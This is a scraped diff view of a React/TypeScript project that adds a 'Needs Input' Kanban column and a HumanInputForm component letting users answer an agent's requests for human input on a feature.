||||||
<Circle size={16} className="text-destructive" />
|
<Circle size={16} className="text-destructive" />
|
||||||
|
|||||||
@@ -1,7 +1,8 @@
|
|||||||
import { useState } from 'react'
|
import { useState } from 'react'
|
||||||
import { X, CheckCircle2, Circle, SkipForward, Trash2, Loader2, AlertCircle, Pencil, Link2, AlertTriangle } from 'lucide-react'
|
import { X, CheckCircle2, Circle, SkipForward, Trash2, Loader2, AlertCircle, Pencil, Link2, AlertTriangle, UserCircle } from 'lucide-react'
|
||||||
import { useSkipFeature, useDeleteFeature, useFeatures } from '../hooks/useProjects'
|
import { useSkipFeature, useDeleteFeature, useFeatures, useResolveHumanInput } from '../hooks/useProjects'
|
||||||
import { EditFeatureForm } from './EditFeatureForm'
|
import { EditFeatureForm } from './EditFeatureForm'
|
||||||
|
import { HumanInputForm } from './HumanInputForm'
|
||||||
import type { Feature } from '../lib/types'
|
import type { Feature } from '../lib/types'
|
||||||
import {
|
import {
|
||||||
Dialog,
|
Dialog,
|
||||||
@@ -50,10 +51,12 @@ export function FeatureModal({ feature, projectName, onClose }: FeatureModalProp
|
|||||||
const deleteFeature = useDeleteFeature(projectName)
|
const deleteFeature = useDeleteFeature(projectName)
|
||||||
const { data: allFeatures } = useFeatures(projectName)
|
const { data: allFeatures } = useFeatures(projectName)
|
||||||
|
|
||||||
|
const resolveHumanInput = useResolveHumanInput(projectName)
|
||||||
|
|
||||||
// Build a map of feature ID to feature for looking up dependency names
|
// Build a map of feature ID to feature for looking up dependency names
|
||||||
const featureMap = new Map<number, Feature>()
|
const featureMap = new Map<number, Feature>()
|
||||||
if (allFeatures) {
|
if (allFeatures) {
|
||||||
;[...allFeatures.pending, ...allFeatures.in_progress, ...allFeatures.done].forEach(f => {
|
;[...allFeatures.pending, ...allFeatures.in_progress, ...allFeatures.done, ...(allFeatures.needs_human_input || [])].forEach(f => {
|
||||||
featureMap.set(f.id, f)
|
featureMap.set(f.id, f)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -141,6 +144,11 @@ export function FeatureModal({ feature, projectName, onClose }: FeatureModalProp
|
|||||||
<CheckCircle2 size={24} className="text-primary" />
|
<CheckCircle2 size={24} className="text-primary" />
|
||||||
<span className="font-semibold text-primary">COMPLETE</span>
|
<span className="font-semibold text-primary">COMPLETE</span>
|
||||||
</>
|
</>
|
||||||
|
) : feature.needs_human_input ? (
|
||||||
|
<>
|
||||||
|
<UserCircle size={24} className="text-amber-500" />
|
||||||
|
<span className="font-semibold text-amber-500">NEEDS YOUR INPUT</span>
|
||||||
|
</>
|
||||||
) : (
|
) : (
|
||||||
<>
|
<>
|
||||||
<Circle size={24} className="text-muted-foreground" />
|
<Circle size={24} className="text-muted-foreground" />
|
||||||
@@ -152,6 +160,38 @@ export function FeatureModal({ feature, projectName, onClose }: FeatureModalProp
|
|||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Human Input Request */}
|
||||||
|
{feature.needs_human_input && feature.human_input_request && (
|
||||||
|
<HumanInputForm
|
||||||
|
request={feature.human_input_request}
|
||||||
|
onSubmit={async (fields) => {
|
||||||
|
setError(null)
|
||||||
|
try {
|
||||||
|
await resolveHumanInput.mutateAsync({ featureId: feature.id, fields })
|
||||||
|
onClose()
|
||||||
|
} catch (err) {
|
||||||
|
setError(err instanceof Error ? err.message : 'Failed to submit response')
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
isLoading={resolveHumanInput.isPending}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Previous Human Input Response */}
|
||||||
|
{feature.human_input_response && !feature.needs_human_input && (
|
||||||
|
<Alert className="border-green-500 bg-green-50 dark:bg-green-950/20">
|
||||||
|
<CheckCircle2 className="h-4 w-4 text-green-600" />
|
||||||
|
<AlertDescription>
|
||||||
|
<h4 className="font-semibold mb-1 text-green-700 dark:text-green-400">Human Input Provided</h4>
|
||||||
|
<p className="text-sm text-green-600 dark:text-green-300">
|
||||||
|
Response submitted{feature.human_input_response.responded_at
|
||||||
|
? ` at ${new Date(feature.human_input_response.responded_at).toLocaleString()}`
|
||||||
|
: ''}.
|
||||||
|
</p>
|
||||||
|
</AlertDescription>
|
||||||
|
</Alert>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Description */}
|
{/* Description */}
|
||||||
<div>
|
<div>
|
||||||
<h3 className="font-semibold mb-2 text-sm uppercase tracking-wide text-muted-foreground">
|
<h3 className="font-semibold mb-2 text-sm uppercase tracking-wide text-muted-foreground">
|
||||||
|
|||||||
150
ui/src/components/HumanInputForm.tsx
Normal file
150
ui/src/components/HumanInputForm.tsx
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
import { useState } from 'react'
|
||||||
|
import { Loader2, UserCircle, Send } from 'lucide-react'
|
||||||
|
import type { HumanInputRequest } from '../lib/types'
|
||||||
|
import { Button } from '@/components/ui/button'
|
||||||
|
import { Input } from '@/components/ui/input'
|
||||||
|
import { Textarea } from '@/components/ui/textarea'
|
||||||
|
import { Label } from '@/components/ui/label'
|
||||||
|
import { Alert, AlertDescription } from '@/components/ui/alert'
|
||||||
|
import { Switch } from '@/components/ui/switch'
|
||||||
|
|
||||||
|
interface HumanInputFormProps {
|
||||||
|
request: HumanInputRequest
|
||||||
|
onSubmit: (fields: Record<string, string | boolean | string[]>) => Promise<void>
|
||||||
|
isLoading: boolean
|
||||||
|
}
|
||||||
|
|
||||||
|
export function HumanInputForm({ request, onSubmit, isLoading }: HumanInputFormProps) {
|
||||||
|
const [values, setValues] = useState<Record<string, string | boolean | string[]>>(() => {
|
||||||
|
const initial: Record<string, string | boolean | string[]> = {}
|
||||||
|
for (const field of request.fields) {
|
||||||
|
if (field.type === 'boolean') {
|
||||||
|
initial[field.id] = false
|
||||||
|
} else {
|
||||||
|
initial[field.id] = ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return initial
|
||||||
|
})
|
||||||
|
|
||||||
|
const [validationError, setValidationError] = useState<string | null>(null)
|
||||||
|
|
||||||
|
const handleSubmit = async () => {
|
||||||
|
// Validate required fields
|
||||||
|
for (const field of request.fields) {
|
||||||
|
if (field.required) {
|
||||||
|
const val = values[field.id]
|
||||||
|
if (val === undefined || val === null || val === '') {
|
||||||
|
setValidationError(`"${field.label}" is required`)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setValidationError(null)
|
||||||
|
await onSubmit(values)
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Alert className="border-amber-500 bg-amber-50 dark:bg-amber-950/20">
|
||||||
|
<UserCircle className="h-5 w-5 text-amber-600" />
|
||||||
|
<AlertDescription className="space-y-4">
|
||||||
|
<div>
|
||||||
|
<h4 className="font-semibold text-amber-700 dark:text-amber-400">Agent needs your help</h4>
|
||||||
|
<p className="text-sm text-amber-600 dark:text-amber-300 mt-1">
|
||||||
|
{request.prompt}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-3">
|
||||||
|
{request.fields.map((field) => (
|
||||||
|
<div key={field.id} className="space-y-1.5">
|
||||||
|
<Label htmlFor={`human-input-${field.id}`} className="text-sm font-medium text-foreground">
|
||||||
|
{field.label}
|
||||||
|
{field.required && <span className="text-destructive ml-1">*</span>}
|
||||||
|
</Label>
|
||||||
|
|
||||||
|
{field.type === 'text' && (
|
||||||
|
<Input
|
||||||
|
id={`human-input-${field.id}`}
|
||||||
|
value={values[field.id] as string}
|
||||||
|
onChange={(e) => setValues(prev => ({ ...prev, [field.id]: e.target.value }))}
|
||||||
|
placeholder={field.placeholder || ''}
|
||||||
|
disabled={isLoading}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{field.type === 'textarea' && (
|
||||||
|
<Textarea
|
||||||
|
id={`human-input-${field.id}`}
|
||||||
|
value={values[field.id] as string}
|
||||||
|
onChange={(e) => setValues(prev => ({ ...prev, [field.id]: e.target.value }))}
|
||||||
|
placeholder={field.placeholder || ''}
|
||||||
|
disabled={isLoading}
|
||||||
|
rows={3}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{field.type === 'select' && field.options && (
|
||||||
|
<div className="space-y-1.5">
|
||||||
|
{field.options.map((option) => (
|
||||||
|
<label
|
||||||
|
key={option.value}
|
||||||
|
className={`flex items-center gap-2 p-2 rounded-md border cursor-pointer transition-colors
|
||||||
|
${values[field.id] === option.value
|
||||||
|
? 'border-primary bg-primary/10'
|
||||||
|
: 'border-border hover:border-primary/50'}`}
|
||||||
|
>
|
||||||
|
<input
|
||||||
|
type="radio"
|
||||||
|
name={`human-input-${field.id}`}
|
||||||
|
value={option.value}
|
||||||
|
checked={values[field.id] === option.value}
|
||||||
|
onChange={(e) => setValues(prev => ({ ...prev, [field.id]: e.target.value }))}
|
||||||
|
disabled={isLoading}
|
||||||
|
className="accent-primary"
|
||||||
|
/>
|
||||||
|
<span className="text-sm">{option.label}</span>
|
||||||
|
</label>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{field.type === 'boolean' && (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id={`human-input-${field.id}`}
|
||||||
|
checked={values[field.id] as boolean}
|
||||||
|
onCheckedChange={(checked) => setValues(prev => ({ ...prev, [field.id]: checked }))}
|
||||||
|
disabled={isLoading}
|
||||||
|
/>
|
||||||
|
<Label htmlFor={`human-input-${field.id}`} className="text-sm">
|
||||||
|
{values[field.id] ? 'Yes' : 'No'}
|
||||||
|
</Label>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{validationError && (
|
||||||
|
<p className="text-sm text-destructive">{validationError}</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<Button
|
||||||
|
onClick={handleSubmit}
|
||||||
|
disabled={isLoading}
|
||||||
|
className="w-full"
|
||||||
|
>
|
||||||
|
{isLoading ? (
|
||||||
|
<Loader2 size={16} className="animate-spin" />
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<Send size={16} />
|
||||||
|
Submit Response
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</Button>
|
||||||
|
</AlertDescription>
|
||||||
|
</Alert>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -13,13 +13,16 @@ interface KanbanBoardProps {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandProject, activeAgents = [], onCreateSpec, hasSpec = true }: KanbanBoardProps) {
|
export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandProject, activeAgents = [], onCreateSpec, hasSpec = true }: KanbanBoardProps) {
|
||||||
const hasFeatures = features && (features.pending.length + features.in_progress.length + features.done.length) > 0
|
const hasFeatures = features && (features.pending.length + features.in_progress.length + features.done.length + (features.needs_human_input?.length || 0)) > 0
|
||||||
|
|
||||||
// Combine all features for dependency status calculation
|
// Combine all features for dependency status calculation
|
||||||
const allFeatures = features
|
const allFeatures = features
|
||||||
? [...features.pending, ...features.in_progress, ...features.done]
|
? [...features.pending, ...features.in_progress, ...features.done, ...(features.needs_human_input || [])]
|
||||||
: []
|
: []
|
||||||
|
|
||||||
|
const needsInputCount = features?.needs_human_input?.length || 0
|
||||||
|
const showNeedsInput = needsInputCount > 0
|
||||||
|
|
||||||
if (!features) {
|
if (!features) {
|
||||||
return (
|
return (
|
||||||
<div className="grid grid-cols-1 md:grid-cols-3 gap-6">
|
<div className="grid grid-cols-1 md:grid-cols-3 gap-6">
|
||||||
@@ -40,7 +43,7 @@ export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandPr
|
|||||||
}
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="grid grid-cols-1 md:grid-cols-3 gap-6">
|
<div className={`grid grid-cols-1 ${showNeedsInput ? 'md:grid-cols-4' : 'md:grid-cols-3'} gap-6`}>
|
||||||
<KanbanColumn
|
<KanbanColumn
|
||||||
title="Pending"
|
title="Pending"
|
||||||
count={features.pending.length}
|
count={features.pending.length}
|
||||||
@@ -51,7 +54,7 @@ export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandPr
|
|||||||
onFeatureClick={onFeatureClick}
|
onFeatureClick={onFeatureClick}
|
||||||
onAddFeature={onAddFeature}
|
onAddFeature={onAddFeature}
|
||||||
onExpandProject={onExpandProject}
|
onExpandProject={onExpandProject}
|
||||||
showExpandButton={hasFeatures}
|
showExpandButton={hasFeatures && hasSpec}
|
||||||
onCreateSpec={onCreateSpec}
|
onCreateSpec={onCreateSpec}
|
||||||
showCreateSpec={!hasSpec && !hasFeatures}
|
showCreateSpec={!hasSpec && !hasFeatures}
|
||||||
/>
|
/>
|
||||||
@@ -64,6 +67,17 @@ export function KanbanBoard({ features, onFeatureClick, onAddFeature, onExpandPr
|
|||||||
color="progress"
|
color="progress"
|
||||||
onFeatureClick={onFeatureClick}
|
onFeatureClick={onFeatureClick}
|
||||||
/>
|
/>
|
||||||
|
{showNeedsInput && (
|
||||||
|
<KanbanColumn
|
||||||
|
title="Needs Input"
|
||||||
|
count={needsInputCount}
|
||||||
|
features={features.needs_human_input}
|
||||||
|
allFeatures={allFeatures}
|
||||||
|
activeAgents={activeAgents}
|
||||||
|
color="human_input"
|
||||||
|
onFeatureClick={onFeatureClick}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
<KanbanColumn
|
<KanbanColumn
|
||||||
title="Done"
|
title="Done"
|
||||||
count={features.done.length}
|
count={features.done.length}
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ interface KanbanColumnProps {
|
|||||||
features: Feature[]
|
features: Feature[]
|
||||||
allFeatures?: Feature[]
|
allFeatures?: Feature[]
|
||||||
activeAgents?: ActiveAgent[]
|
activeAgents?: ActiveAgent[]
|
||||||
color: 'pending' | 'progress' | 'done'
|
color: 'pending' | 'progress' | 'done' | 'human_input'
|
||||||
onFeatureClick: (feature: Feature) => void
|
onFeatureClick: (feature: Feature) => void
|
||||||
onAddFeature?: () => void
|
onAddFeature?: () => void
|
||||||
onExpandProject?: () => void
|
onExpandProject?: () => void
|
||||||
@@ -24,6 +24,7 @@ const colorMap = {
|
|||||||
pending: 'border-t-4 border-t-muted',
|
pending: 'border-t-4 border-t-muted',
|
||||||
progress: 'border-t-4 border-t-primary',
|
progress: 'border-t-4 border-t-primary',
|
||||||
done: 'border-t-4 border-t-primary',
|
done: 'border-t-4 border-t-primary',
|
||||||
|
human_input: 'border-t-4 border-t-amber-500',
|
||||||
}
|
}
|
||||||
|
|
||||||
export function KanbanColumn({
|
export function KanbanColumn({
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user